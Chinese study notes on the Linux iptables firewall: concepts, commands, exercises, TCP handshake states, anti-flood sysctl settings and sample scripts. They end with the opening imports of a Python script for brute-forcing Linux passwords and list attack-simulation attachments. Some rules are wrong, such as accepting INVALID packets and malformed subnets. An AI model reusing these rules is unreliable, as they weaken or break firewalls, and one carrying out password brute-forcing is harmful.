iptables(防火墻)

iptables


附件
CC攻擊器-邪惡十六進(jìn)制2.0 模擬cc攻擊
python寫(xiě)的暴力破解的腳本 模擬暴力破解攻擊

linux的防火墻 iptables

名詞解釋
dip|sip source(源) destination(目的,目標(biāo))
sport|dport

netfilter(iptables)

netfilter --工作在內(nèi)核軟件,實(shí)現(xiàn)數(shù)據(jù)包的過(guò)濾。
iptables --工作應(yīng)用層一個(gè)軟件,用來(lái)控制netfilter。
1.netfilter/iptables包過(guò)濾防火墻(tcp/ip四層)
1)應(yīng)用層 --通過(guò)軟件為用戶提供接口
2)傳輸層 --提供可靠或不可靠的數(shù)據(jù)傳輸(TCP/UDP)使用端口來(lái)標(biāo)示服務(wù)類型 sport dport
3)網(wǎng)絡(luò)層 --提供路由和選址(icmp) sip dip
4)數(shù)據(jù)鏈路層 --傳輸數(shù)據(jù)幀(MAC) s _mac arp寫(xiě) 在局域網(wǎng)內(nèi)泛洪 來(lái)找到我們對(duì)應(yīng)的MAC
5)物理層 --傳輸透明比特流 eth0 eth1
過(guò)濾的依據(jù): s_mac/sip/dip/sport/dport/狀態(tài)(三次握手/四次斷開(kāi))SYN DDOS攻擊怎么防御我們DDOS 小流量
netfilter的邏輯架構(gòu): nat 10

image

netfilter防火墻的元素及關(guān)系:
netfilter==>表==>鏈==>規(guī)則

三張表:

filter 防火墻表,允許和拒絕都在這里實(shí)現(xiàn)
nat 地址轉(zhuǎn)換
mangle 數(shù)據(jù)包整形

五條鏈:

INPUT 本機(jī)進(jìn)站的數(shù)據(jù)流
OUTPUT 本機(jī)出站的數(shù)據(jù)流
FORWARD 路由的數(shù)據(jù)流
POSTROUTING 路由后的數(shù)據(jù)流
PREROUTING 路由前的數(shù)據(jù)流

表跟鏈的對(duì)應(yīng)關(guān)系:

filter:INPUT,OUTPUT,FORWARD
nat: OUTPUT,PREROUTING,POSTROUTING

mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING

四種數(shù)據(jù)流:

本機(jī)進(jìn)站的數(shù)據(jù)流:packet-->ethX-->PREROUTING-->INPUT-->本機(jī)
本機(jī)出站的數(shù)據(jù)流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
路由的數(shù)據(jù)流:
出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
回來(lái): packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
本機(jī)訪問(wèn)本機(jī): 本機(jī)-->packet-->lo-->PREROUTING-->INPUT-->本機(jī)

本機(jī)-->packet-->OUTPUT-->POSTROUTING--lo-->本機(jī)

表的匹配順序:

mangle-->nat-->filter

防火墻規(guī)則匹配順序:

1.按順序匹配,如果第一條匹配到了就直接執(zhí)行這條規(guī)則的動(dòng)作,不往下匹配其它規(guī)則.

2.如果第一條匹配不到,第二條也匹配不到,繼續(xù)往下匹配直到找到匹配的規(guī)則,如果找不到匹配默認(rèn)規(guī)則.

傳輸層:協(xié)議(tcp/udp)
端口(sport/dport)
網(wǎng)絡(luò)層:
IP地址(sip/dip/icmp) ping
數(shù)據(jù)鏈路層:
mac地址(--mac-source)
物理層:
從哪個(gè)網(wǎng)卡進(jìn)來(lái) -i eth0 eth1 服務(wù)器2個(gè)地址 外網(wǎng)地址 一個(gè)內(nèi)網(wǎng)地址

iptables操作命令

#iptables --help
Usage: iptables -[AD] chain rule-specification [options]
       iptables -[RI] chain rulenum rule-specification [options]
       iptables -D chain rulenum [options]
       iptables -[LFZ] [chain] [options]
       iptables -[NX] chain
       iptables -E old-chain-name new-chain-name
       iptables -P chain target [options]
       iptables -h (print this help information)

  --append  -A chain            追加規(guī)則
  --delete  -D chain            刪除規(guī)則
  --delete  -D chain rulenum    刪除指定序號(hào)的規(guī)則
                                
  --insert  -I chain [rulenum]  插入一條規(guī)則(default 1=first) 插入會(huì)插入表的第一行
  --replace -R chain rulenum    替換一條規(guī)則
                                
  --list    -L [chain]          顯示出鏈或者鏈中的規(guī)則
  --flush   -F [chain]          在一個(gè)鏈或者所有鏈中清空規(guī)則
  --zero    -Z [chain]          清空計(jì)數(shù)
  --new     -N chain            創(chuàng)建用戶自定義鏈
  --delete-chain
            -X [chain]          刪除用戶自定義鏈
  --policy  -P chain target     指定默認(rèn)規(guī)則
                                Change policy on chain to target
  --rename-chain
            -E old-chain new-chain
                                     重命名用戶自定義鏈
Options:
  --proto       -p [!] proto    指定協(xié)議,!代表取反
  --source      -s [!] address[/mask]   --指定源地址
                                source specification
  --destination -d [!] address[/mask]   --指定目標(biāo)地址
                                destination specification
  --in-interface -i [!] input name[+]   --指定數(shù)據(jù)從哪個(gè)網(wǎng)口進(jìn)來(lái)
                                network interface name ([+] for wildcard)
  --jump        -j target                       --匹配動(dòng)作
                                target for rule (may load target extension)
  --goto      -g chain
                              jump to chain with no return
  --match       -m match                        --擴(kuò)展匹配
                                extended match (may load extension)
  --numeric     -n              --端口和IP以數(shù)值方式顯示,不作反解
  --out-interface -o [!] output name[+] --指定數(shù)據(jù)從哪個(gè)網(wǎng)口出去
                                network interface name ([+] for wildcard)
  --table       -t table        --指定使用哪個(gè)表 (default: `filter')
  --verbose     -v              --顯示詳細(xì)信息
  --line-numbers                --顯示規(guī)則的序號(hào)
  --exact       -x              expand numbers (display exact values)
  • 查看
# iptables -t nat -L -n -v --line
# iptables -t filter -L -n
# iptables -t filter -L INPUT
# iptables -t filter -L INPUT -v -n
# iptables -t filter -L INPUT -n -v --line
# watch -n 0.1 iptables -L INPUT --line -n -v
iptables -nv -L
  • 追加 插入 替換 刪除
追加規(guī)則:
# iptables -t filter -A INPUT -i lo -j ACCEPT

插入規(guī)則:
# iptables -t filter -I INPUT -i eth0 -j ACCEPT     --插入成為第一條
# iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT       --插入成為第三條規(guī)則

替換規(guī)則:
# iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT       --替換成為指定規(guī)則
    
刪除規(guī)則:
# iptables -t filter -D INPUT 2                 --刪除指定鏈指定編號(hào)的規(guī)則

+++++++++++
#iptables -t filter -A INPUT -i lo -j ACCEPT
#iptables -t filter -A OUTPUT -o lo -j ACCEPT
#iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
# iptables -t filter -A INPUT -i eth1 -j ACCEPT
# iptables -L INPUT -n --line -v
# iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT   插入默認(rèn)第二條
# iptables -t filter -I INPUT  -i eth3 -j ACCEPT    插入默認(rèn)第一條
# iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT  替換默認(rèn)第一條
#iptables -t filter -D INPUT 1                  刪除默認(rèn)第一條
# iptables -t filter -F INPUT                   清空f(shuō)ilter所有INPUT鏈
#iptables -t filter -F              

#iptables -L INPUT -n --line -v

空規(guī)則:
    1、清空一張表
# iptables -t filter -F
注意不會(huì)清除默認(rèn)規(guī)則

    2、清空一條鏈中的規(guī)則
# iptables -t filter -F INPUT

新建/刪除用戶自定義的鏈:
# iptables -t filter -N uplooking   新建
# iptables -t filter -X uplooking       刪除
# iptables -t filter -X             清空f(shuō)ilter表中所有用戶自定義鏈
+++++++++
iptables -t filter -N TCP
iptables -t filter -N UDP
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A INPUT -p tcp -j TCP
++++++++
更改默認(rèn)規(guī)則:
# iptables -t filter -P INPUT ACCEPT
# iptables -t filter -P INPUT DROP

1、iptables擴(kuò)展匹配

  1. iptables(user space)/netfilter(kernel space)
  2. netfilter組成(表(功能模塊)/鏈/規(guī)則)
    filter(INPUT/OUTPUT/FORWARD) 過(guò)濾
    nat(PREROUTING/POSTROUTING/OUTPUT) 地址轉(zhuǎn)換
    mangle(5個(gè)鏈 ) 更封裝層數(shù)據(jù)包結(jié)構(gòu)
    -->PREROUTING-->FORWARD-->POSTROUTING-->
    INPUT | | OUTPUT
    本機(jī)

規(guī)則的匹原則:

1、自上而下按順序匹配
2、如果匹配到某條規(guī)則,執(zhí)行這個(gè)規(guī)則動(dòng)作,就不往后匹配其它規(guī)則
3、如果列表的所有的規(guī)則都匹配不到,則匹配默認(rèn)規(guī)則
iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
ACCEPT 接受
DROP 悄悄丟棄
REJECT 明示拒絕
SNAT 基于源地址的nat轉(zhuǎn)換,其作用是將ip數(shù)據(jù)包的源地址轉(zhuǎn)換成另外一個(gè)地址
DNAT 目的地址轉(zhuǎn)換 其作用是將ip數(shù)據(jù)包的目標(biāo)地址轉(zhuǎn)換成另外一個(gè)地址
應(yīng)用層
傳輸層(tcp/udp/sport/doprt/ tcp6個(gè)控制位匹配)
網(wǎng)絡(luò)層(-s/-d/icmp)
數(shù)據(jù)鏈路層(mac)
物理層(-i/-o)

擴(kuò)展匹配

1、通用匹配 -i -o -s -d
-i eth0 從這塊網(wǎng)卡流入的數(shù)據(jù) 流入一般用INPUT和PREROUING
-o eth0 從這塊網(wǎng)卡流出的數(shù)據(jù) 流出一般在OUTPUT和PSOTROUTING
-s 源IP
-d 目標(biāo)IP
2、隱含匹配 tcp udp icmp sport dport
3、擴(kuò)展匹配 -m mac | iprange | state
-m multiport:表示啟用多端口擴(kuò)展 之后我們就可以啟用比如 --dports 21,23,80,8080-8100, 3306
常用的ACTION: -j
DROP:悄悄丟棄 nmap
一般我們多用DROP來(lái)隱藏我們的身份,以及隱藏我們的鏈表
REJECT:明示拒絕
ACCEPT:接受
custom_chain:轉(zhuǎn)向一個(gè)自定義的鏈
DNAT
SNAT
MASQUERADE:源地址偽裝 nat實(shí)驗(yàn)的時(shí)候
REDIRECT:重定向:主要用于實(shí)現(xiàn)端口重定向
MARK:打防火墻標(biāo)記的
RETURN:返回
在自定義鏈執(zhí)行完畢后使用返回,來(lái)返回原規(guī)則鏈。

練習(xí)題1:

只要是來(lái)自于172.16.85.14的都允許訪問(wèn)我本機(jī)的172.16.100.1的SSHD服務(wù)
分析:首先肯定是在允許表中定義的。因?yàn)椴恍枰鯪AT地址轉(zhuǎn)換之類的,然后查看我們SSHD服務(wù),在22號(hào)端口上,處理機(jī)制是接受,對(duì)于這個(gè)表,需要有一來(lái)一回兩個(gè)規(guī)則,如果我們?cè)试S也好,拒絕也好,對(duì)于訪問(wèn)本機(jī)服務(wù),我們最好是定義在INPUT鏈上,而OUTPUT再予以定義就好。(會(huì)話的初始端先定義),所以加規(guī)則就是:
定義進(jìn)來(lái)的:
iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
定義出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
將默認(rèn)策略改成DROP:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

1、允許ping 127.0.0.1 和 允許 ping 10.1.1.0/24 ,其他服務(wù)都禁止

# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
# iptables -A INPUT -j DROP

或者
# iptables -P INPUT DROP  《--定義默認(rèn)策略,當(dāng)在規(guī)則表里找不到匹配的規(guī)則就采取策略的動(dòng)作
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT



2、只運(yùn)訪問(wèn)本機(jī)的SSH服務(wù)(只允許遠(yuǎn)程ssh登錄到本機(jī))

# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT  <---定義端口的參數(shù) --dport
    還有就是  
定義源端口 --source-port  --sport
定義目的端口 --destination-port --dport

3、定義連續(xù)端口
    iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT  <---允許訪問(wèn) 20到100的端口


4、定義多端口 <---引入一個(gè)“模塊”的概念
    iptables -A INPUT -m multiport -p tcp --dports  22,80,110 -j ACCEPT
        -m 指定模塊 
        multiport 支持多端口的擴(kuò)展模塊

5、允許和內(nèi)網(wǎng)的客戶(10.1.1.0/24)進(jìn)行傳輸數(shù)據(jù)(包括ping)
    iptables -P INPUT DROP
    iptables -A INPUT -p ALL -i eth0  -s 10.1.1.0/24 -j ACCEPT

6、決絕訪問(wèn)色情網(wǎng)站www.baidu.com
    iptables -A OUTPUT -d www.baidu.com  -j DROP

7、通過(guò)硬件地址進(jìn)行過(guò)濾
    -m  mac  --mac-source [!] address
    iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
    
    注意REJECT 和 DROP 區(qū)別

    
8、定義連續(xù)的IP地址
    iptables -A INPUT  -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP

9、對(duì)外只開(kāi)放web服務(wù),其他一切不放行,不允許進(jìn)來(lái)也不允許出去
# iptables -P OUTPUT DROP
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 80 -j ACCEPT  <--tcpdump tcp port 80 只看到進(jìn)來(lái)的,沒(méi)有出去的
# iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT

10、綜合應(yīng)用:
    本機(jī)需要開(kāi)放的服務(wù)有: ssh(22) 、 web(80) 、 ftp(21 20) 、 DNS(53) 、pop3(110)、pop3s(995)、IMAP(143)、IMAPS(993)、smtp(25)等服務(wù)。
    其中web 、ftp、pop3、pop3s、IMAP、IMAPS 允許所有網(wǎng)絡(luò)的人訪問(wèn);
    ssh 只允許本地局域網(wǎng)中的某個(gè)MAC地址訪問(wèn)
    只允許本地局域網(wǎng)的用戶發(fā)送郵件
    只允許本地局域網(wǎng)的用戶查詢DNS


# modprobe ip_conntrack_ftp
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
# iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT

練習(xí)題icmp:

icmp:0 8
0:應(yīng)答請(qǐng)求
8:ping請(qǐng)求
icmp對(duì)照表
假如我們?cè)试S自己ping別人,但是別人ping自己ping不通如何實(shí)現(xiàn)呢?
分析:對(duì)于ping這個(gè)協(xié)議,進(jìn)來(lái)的為8(ping),出去的為0(響應(yīng)).我們?yōu)榱诉_(dá)到目的,需要8出去,允許0進(jìn)來(lái)

在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
在進(jìn)來(lái)的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP  
iptables -A INPUT -p icmp --icmp-type 8 -j DROP  
小擴(kuò)展:對(duì)于127.0.0.1比較特殊,我們需要明確定義它  
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
/lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模塊的位置  
-m connlimit:每個(gè)IP的并發(fā)連接數(shù)(TCP) --關(guān)注的是新發(fā)起的連接(NEW --syn)  
mount -o loop rhel55.iso /mnt  
rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT  
-m icmp:ping包請(qǐng)求與發(fā)送  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -j DROP  
[root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==&gt; 0 相當(dāng)于 echo-reply  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==&gt; 8 相當(dāng)于 echo-request  
-m ipranges:IP范圍  
[!] --src-range ip-ip Match source IP in the specified range  
[!] --dst-range ip-ip Match destination IP in the specified range  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP  
-m limit:速率限制  
[root@ ~]# watch iptables -L INPUT -nv  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP  
-m mac:匹配源地址的 MAC 地址  
[root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP  
-m multiport:多端口  
[root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP  
-m state(NEW/ESTABLISHED/RELATED/INVALID):  
NEW --第一個(gè)數(shù)包,跟TCP狀態(tài)無(wú)關(guān)  
ESTABLISHED --第二個(gè)數(shù)據(jù)包  
RELATED --已經(jīng)發(fā)生關(guān)系的數(shù)據(jù)(FTP)  
INVALID --無(wú)效數(shù)據(jù)包  

個(gè)人簡(jiǎn)單的防火墻(狀態(tài)):

ESTABLISHED 不允許其他主機(jī)發(fā)起的主動(dòng)訪問(wèn),只允許本地主機(jī)主動(dòng)發(fā)起的發(fā)功能文以及l(fā)o通訊
[root@stu110 ~]# iptables -P INPUT DROP
[root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
[root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
RELATED:已發(fā)生關(guān)系的
(1)vsftpd數(shù)據(jù)傳輸(考慮模式,默認(rèn)是主動(dòng)模式)

主動(dòng)模式:

21 --控制端口
20 --數(shù)據(jù)端口

被動(dòng)模式:

21 --控制端口
1024+ --數(shù)據(jù)端口
[root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模塊的支持,內(nèi)核才能支持 RELATED狀態(tài)
[root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
[root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
被動(dòng)模式/主動(dòng):
service vsftpd start
iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
modproble ip_conntrack_ftp --加載FTP狀態(tài)自動(dòng)跟蹤模塊,它可以完成自動(dòng)切換端口
-m string:字符串內(nèi)容進(jìn)行匹配(局限大,效率低,不太用)
[root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
-m time:時(shí)間限制
[root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP


抓包命令
tcpdump port 80 -nn -v -S
tcpdump port 80 -nn -v -S
位碼即tcp標(biāo)志位,有6種標(biāo)示:

SYN(synchronous建立聯(lián)機(jī))

ACK(acknowledgement 確認(rèn))

PSH(push傳送)

FIN(finish結(jié)束)

RST(reset重置)

URG(urgent緊急)

Sequence number(順序號(hào)碼)

Acknowledge number(確認(rèn)號(hào)碼)
三次握手狀態(tài)意義:
LISTEN - 偵聽(tīng)來(lái)自遠(yuǎn)方TCP端口的連接請(qǐng)求;
SYN-SENT -在發(fā)送連接請(qǐng)求后等待匹配的連接請(qǐng)求;
SYN-RECEIVED - 在收到和發(fā)送一個(gè)連接請(qǐng)求后等待對(duì)連接請(qǐng)求的確認(rèn);
ESTABLISHED- 代表一個(gè)打開(kāi)的連接,數(shù)據(jù)可以傳送給用戶;
FIN-WAIT-1 - 等待遠(yuǎn)程TCP的連接中斷請(qǐng)求,或先前的連接中斷請(qǐng)求的確認(rèn);
FIN-WAIT-2 - 從遠(yuǎn)程TCP等待連接中斷請(qǐng)求;
CLOSE-WAIT - 等待從本地用戶發(fā)來(lái)的連接中斷請(qǐng)求;
CLOSING -等待遠(yuǎn)程TCP對(duì)連接中斷的確認(rèn);
LAST-ACK - 等待原來(lái)發(fā)向遠(yuǎn)程TCP的連接中斷請(qǐng)求的確認(rèn);
TIME-WAIT -等待足夠的時(shí)間以確保遠(yuǎn)程TCP接收到連接中斷請(qǐng)求的確認(rèn);
CLOSED - 沒(méi)有任何連接狀態(tài);
TCP/IP協(xié)議中,TCP協(xié)議提供可靠的連接服務(wù),采用三次握手建立一個(gè)連接,如圖1所示。

(1)第一次握手:建立連接時(shí),客戶端A發(fā)送SYN包(SYN=j)到服務(wù)器B,并進(jìn)入SYN_SEND狀態(tài),等待服務(wù)器B確認(rèn)。

(2)第二次握手:服務(wù)器B收到SYN包,必須確認(rèn)客戶A的SYN(ACK=j+1),同時(shí)自己也發(fā)送一個(gè)SYN包(SYN=k),即SYN+ACK包,此時(shí)服務(wù)器B進(jìn)入SYN_RECV狀態(tài)。

(3)第三次握手:客戶端A收到服務(wù)器B的SYN+ACK包,向服務(wù)器B發(fā)送確認(rèn)包ACK(ACK=k+1),此包發(fā)送完畢,客戶端A和服務(wù)器B進(jìn)入ESTABLISHED狀態(tài),完成三次握手。

完成三次握手,客戶端與服務(wù)器開(kāi)始傳送數(shù)據(jù)。


四次揮手是斷開(kāi)連接
由于TCP連接是全雙工的,因此每個(gè)方向都必須單獨(dú)進(jìn)行關(guān)閉。這個(gè)原則是當(dāng)一方完成它的數(shù)據(jù)發(fā)送任務(wù)后就能發(fā)送一個(gè)FIN來(lái)終止這個(gè)方向的連接。收到一個(gè) FIN只意味著這一方向上沒(méi)有數(shù)據(jù)流動(dòng),一個(gè)TCP連接在收到一個(gè)FIN后仍能發(fā)送數(shù)據(jù)。首先進(jìn)行關(guān)閉的一方將執(zhí)行主動(dòng)關(guān)閉,而另一方執(zhí)行被動(dòng)關(guān)閉。

CP的連接的拆除需要發(fā)送四個(gè)包,因此稱為四次揮手(four-way handshake)。客戶端或服務(wù)器均可主動(dòng)發(fā)起揮手動(dòng)作,在socket編程中,任何一方執(zhí)行close()操作即可產(chǎn)生揮手操作。

(1)客戶端A發(fā)送一個(gè)FIN,用來(lái)關(guān)閉客戶A到服務(wù)器B的數(shù)據(jù)傳送。

(2)服務(wù)器B收到這個(gè)FIN,它發(fā)回一個(gè)ACK,確認(rèn)序號(hào)為收到的序號(hào)加1。和SYN一樣,一個(gè)FIN將占用一個(gè)序號(hào)。

(3)服務(wù)器B關(guān)閉與客戶端A的連接,發(fā)送一個(gè)FIN給客戶端A。

(4)客戶端A發(fā)回ACK報(bào)文確認(rèn),并將確認(rèn)序號(hào)設(shè)置為收到序號(hào)加1。

  1. 為何主機(jī)A在發(fā)送了最后的確認(rèn)后沒(méi)有進(jìn)入CLOSED狀態(tài),反而進(jìn)入了一個(gè)2MSL的TIME-WAIT。主要作用有兩個(gè):第一,確保主機(jī)A最后發(fā)送的確認(rèn)能夠到達(dá)主機(jī)B。如果處于LAST-ACK狀態(tài)的主機(jī)B一直收不到來(lái)自主機(jī)A的確認(rèn),它會(huì)重傳斷開(kāi)連接請(qǐng)求,然后主機(jī)A就可以有足夠的時(shí)間去再次發(fā)送確認(rèn)。但是這也只能盡最大力量來(lái)確保能夠正常斷開(kāi),如果主機(jī)A的確認(rèn)總是在網(wǎng)絡(luò)中滯留失效,從而超過(guò)了2MSL,最后也無(wú)法正常斷開(kāi);第二,如果主機(jī)A在發(fā)送了確認(rèn)之后立即進(jìn)入CLOSED狀態(tài)。假設(shè)之后主機(jī)A再次向主機(jī)B發(fā)送一條連接請(qǐng)求,而這條連接請(qǐng)求比之前的確認(rèn)報(bào)文更早地到達(dá)主機(jī)B,則會(huì)使得主機(jī)B以為這條連接請(qǐng)求是在舊的連接中A發(fā)出的報(bào)文,并不看成是一條新的連接請(qǐng)求了,即使得這個(gè)連接請(qǐng)求失效了,增加2MSL的時(shí)間可以使得這個(gè)失效的連接請(qǐng)求報(bào)文作廢,這樣才不影響下次新的連接請(qǐng)求中出現(xiàn)失效的連接請(qǐng)求。
  2. 在下面的抓包實(shí)驗(yàn)中,為什么斷開(kāi)連接請(qǐng)求報(bào)文只有三個(gè),而不是四個(gè)。因?yàn)樵赥CP連接過(guò)程中,確認(rèn)的發(fā)送有一個(gè)延時(shí)(即經(jīng)受延時(shí)的確認(rèn)),一端在發(fā)送確認(rèn)的時(shí)候?qū)⒌却欢螘r(shí)間,如果自己在這段事件內(nèi)也有數(shù)據(jù)要發(fā)送,就跟確認(rèn)一起發(fā)送,如果沒(méi)有,則確認(rèn)單獨(dú)發(fā)送。而我們的抓包實(shí)驗(yàn)中,由服務(wù)器端先斷開(kāi)連接,之后客戶端在確認(rèn)的延遲時(shí)間內(nèi),也有請(qǐng)求斷開(kāi)連接需要發(fā)送,于是就與上次確認(rèn)一起發(fā)送,因此就只有三個(gè)數(shù)據(jù)報(bào)了。

DDOS原理,及輕量級(jí)別攻擊的防止

# vim /etc/sysctl.conf

net.ipv4.tcp_max_syn_backlog = 8096 --超過(guò)最大連接數(shù)后產(chǎn)生新syn隊(duì)列的長(zhǎng)度
net.ipv4.tcp_synack_retries = 2 --syn確認(rèn)的重試次數(shù)
net.ipv4.ip_local_port_range = 1024 65535--表示用于向外連接的端口范圍。缺省情況下很?。?2768到61000,改為1024到65000。
net.ipv4.tcp_syncookies = 1 --表示開(kāi)啟SYNCookies。當(dāng)出現(xiàn)SYN等待隊(duì)列溢出時(shí),啟用cookies來(lái)處理,可防范少量SYN攻擊,默認(rèn)為0,表示關(guān)閉;
net.ipv4.tcp_tw_reuse = 1 --表示開(kāi)啟重用。允許將TIME-WAITsockets重新用于新的TCP連接,默認(rèn)為0,表示關(guān)閉;
net.ipv4.tcp_tw_recycle = 1 --表示開(kāi)啟TCP連接中TIME-WAIT sockets的快速回收,默認(rèn)為0,表示關(guān)閉。
net.ipv4.tcp_max_tw_buckets=5000--表示系統(tǒng)同時(shí)保持TIME_WAIT套接字的最大數(shù)量,如果超過(guò)這個(gè)數(shù)字,TIME_WAIT套接字將立刻被清除并打印警告信息。默認(rèn)為180000,改為5000。
sysctl -p
1、通過(guò)iptables防止輕量級(jí)別的DDOS
-m limit
-m connlimit
2、DDOS的原理,三次握手(客戶端第三次不回應(yīng)服務(wù)端)
3、通過(guò)內(nèi)核增大TCP緩沖區(qū),支持更多的連接。
4、增加更強(qiáng)大的硬件防火墻,用于丟棄(過(guò)濾)掉不正常syn請(qǐng)求,搭建負(fù)載均衡集群,另外保證你的外網(wǎng)有足夠大的帶寬
第一種 一

從哪個(gè)網(wǎng)卡出去 -o

傳輸層:協(xié)議(tcp/udp)
端口(sport /dport)
網(wǎng)絡(luò)層:
IP地址(sip /dip /icmp) ping
數(shù)據(jù)鏈路層:
mac地址(--mac-source)
物理層:
從哪個(gè)網(wǎng)卡進(jìn)來(lái) -i eth0 eth1 服務(wù)器2個(gè)地址 外網(wǎng)地址 一個(gè)內(nèi)網(wǎng)地址
從哪個(gè)網(wǎng)卡出去 -o

iptables防御cc攻擊腳本

#!/bin/sh
drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
if test -n $drop_ip;then
for i in $drop_ip
do
if [ -z "`iptables -nvL |grep $i`" ];then
/sbin/iptables -I INPUT -s $i -j DROP
fi
done
fi

iptable通用腳本

#!/bin/bash

# Descript:The Firewall Script.

iptables -F INPUT
iptables -F OUTPUT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT  
iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
iptables -I INPUT -s 8.8.8.8 -j ACCEPT
iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
  • 使用python多線程暴力破解linux密碼
#!/bin/python
import optparse  
import time  
from threading import *  
